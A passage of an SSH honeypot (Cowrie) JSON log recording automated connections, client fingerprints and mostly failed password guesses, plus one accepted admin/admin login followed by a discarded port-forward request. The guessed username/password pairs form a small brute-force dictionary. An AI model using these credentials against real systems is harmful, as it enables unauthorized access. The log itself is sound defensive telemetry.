com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:44:11.319396Z","src_ip":"202.4.106.201","session":"6b05d14cbcc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"m1necraft","message":"login attempt [minecraft/m1necraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:44:12.425189Z","src_ip":"202.4.106.201","session":"6b05d14cbcc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:44:13.696299Z","src_ip":"202.4.106.201","session":"6b05d14cbcc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"system","message":"login attempt [system/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:44:22.754258Z","src_ip":"122.168.114.167","session":"6eb316c8c400","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57820,"dst_ip":"159.203.135.109","dst_port":22,"session":"96e6891ffadf","protocol":"ssh","message":"New connection: 159.203.92.129:57820 (159.203.135.109:22) [session: 96e6891ffadf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:44:27.226060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:44:27.231032Z","src_ip":"159.203.92.129","session":"96e6891ffadf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:44:27.235560Z","src_ip":"159.203.92.129","session":"96e6891ffadf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"at","password":"11112222","message":"login attempt [at/11112222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:44:27.245844Z","src_ip":"159.203.92.129","session":"96e6891ffadf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:44:28.252250Z","src_ip":"159.203.92.129","session":"96e6891ffadf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"33.9","message":"Connection lost after 33.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:44:28.541060Z","src_ip":"122.168.114.167","session":"6eb316c8c400","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":54446,"dst_ip":"159.203.135.109","dst_port":22,"session":"2951dbf49257","protocol":"ssh","message":"New connection: 122.168.114.167:54446 (159.203.135.109:22) [session: 2951dbf49257]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:44:34.014363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:44:39.042021Z","src_ip":"122.168.114.167","session":"2951dbf49257","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:44:39.070116Z","src_ip":"122.168.114.167","session":"2951dbf49257","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.182.132.154","src_port":43196,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8e25eb91378","protocol":"ssh","message":"New connection: 103.182.132.154:43196 (159.203.135.109:22) [session: d8e25eb91378]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:44:40.034010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:44:40.038812Z","src_ip":"103.182.132.154","session":"d8e25eb91378","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:44:40.252485Z","src_ip":"103.182.132.154","session":"d8e25eb91378","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"pass1234","message":"login attempt [guest/pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:44:41.141210Z","src_ip":"103.182.132.154","session":"d8e25eb91378","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:44:42.357487Z","src_ip":"103.182.132.154","session":"d8e25eb91378","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.45.177","src_port":12750,"dst_ip":"159.203.135.109","dst_port":22,"session":"55e73e918eb9","protocol":"ssh","message":"New connection: 159.223.45.177:12750 (159.203.135.109:22) [session: 55e73e918eb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:44:44.918864Z"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:44:47.690270Z","src_ip":"159.223.45.177","session":"55e73e918eb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":2998,"dst_ip":"10.17.0.5","dst_port":22,"session":"4988aa9b9c85","protocol":"ssh","message":"New connection: 87.251.64.176:2998 (10.17.0.5:22) [session: 4988aa9b9c85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:44:55.365825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:44:55.370096Z","src_ip":"87.251.64.176","session":"4988aa9b9c85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:44:55.467419Z","src_ip":"87.251.64.176","session":"4988aa9b9c85","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:44:55.759329Z","src_ip":"87.251.64.176","session":"4988aa9b9c85","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:44:55.858411Z","session":"4988aa9b9c85","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:44:55.956577Z","src_ip":"87.251.64.176","session":"4988aa9b9c85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:44:56.189989Z","src_ip":"87.251.64.176","session":"4988aa9b9c85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"almalinux","password":"almalinux","message":"login attempt [almalinux/almalinux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:44:59.702723Z","src_ip":"122.168.114.167","session":"2951dbf49257","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"30.8","message":"Connection lost after 30.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:45:04.822494Z","src_ip":"122.168.114.167","session":"2951dbf49257","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43444,"dst_ip":"159.203.135.109","dst_port":22,"session":"dafafced16ed","protocol":"ssh","message":"New connection: 159.203.92.129:43444 (159.203.135.109:22) [session: dafafced16ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:45:09.559610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:45:09.587310Z","src_ip":"159.203.92.129","session":"dafafced16ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:45:09.591769Z","src_ip":"159.203.92.129","session":"dafafced16ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"at","password":"11q2w3e4r.","message":"login attempt [at/11q2w3e4r.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:45:09.623386Z","src_ip":"159.203.92.129","session":"dafafced16ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:45:10.631162Z","src_ip":"159.203.92.129","session":"dafafced16ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.4.106.201","src_port":50768,"dst_ip":"159.203.135.109","dst_port":22,"session":"d29bae6d654d","protocol":"ssh","message":"New connection: 202.4.106.201:50768 (159.203.135.109:22) [session: d29bae6d654d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:45:12.624686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:45:12.629768Z","src_ip":"202.4.106.201","session":"d29bae6d654d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:45:12.908470Z","src_ip":"202.4.106.201","session":"d29bae6d654d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user04","password":"user041","message":"login attempt [user04/user041] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:45:14.045256Z","src_ip":"202.4.106.201","session":"d29bae6d654d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:45:15.326253Z","src_ip":"202.4.106.201","session":"d29bae6d654d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":56856,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ae5254da90c","protocol":"ssh","message":"New connection: 122.168.114.167:56856 (159.203.135.109:22) [session: 4ae5254da90c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:45:20.149553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:45:22.669108Z","src_ip":"122.168.114.167","session":"4ae5254da90c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:45:22.709204Z","src_ip":"122.168.114.167","session":"4ae5254da90c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"gitlab","message":"login attempt [gitlab/gitlab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:45:35.202139Z","src_ip":"122.168.114.167","session":"4ae5254da90c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.3","message":"Connection lost after 19.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:45:39.417715Z","src_ip":"122.168.114.167","session":"4ae5254da90c","protocol":"ssh"}
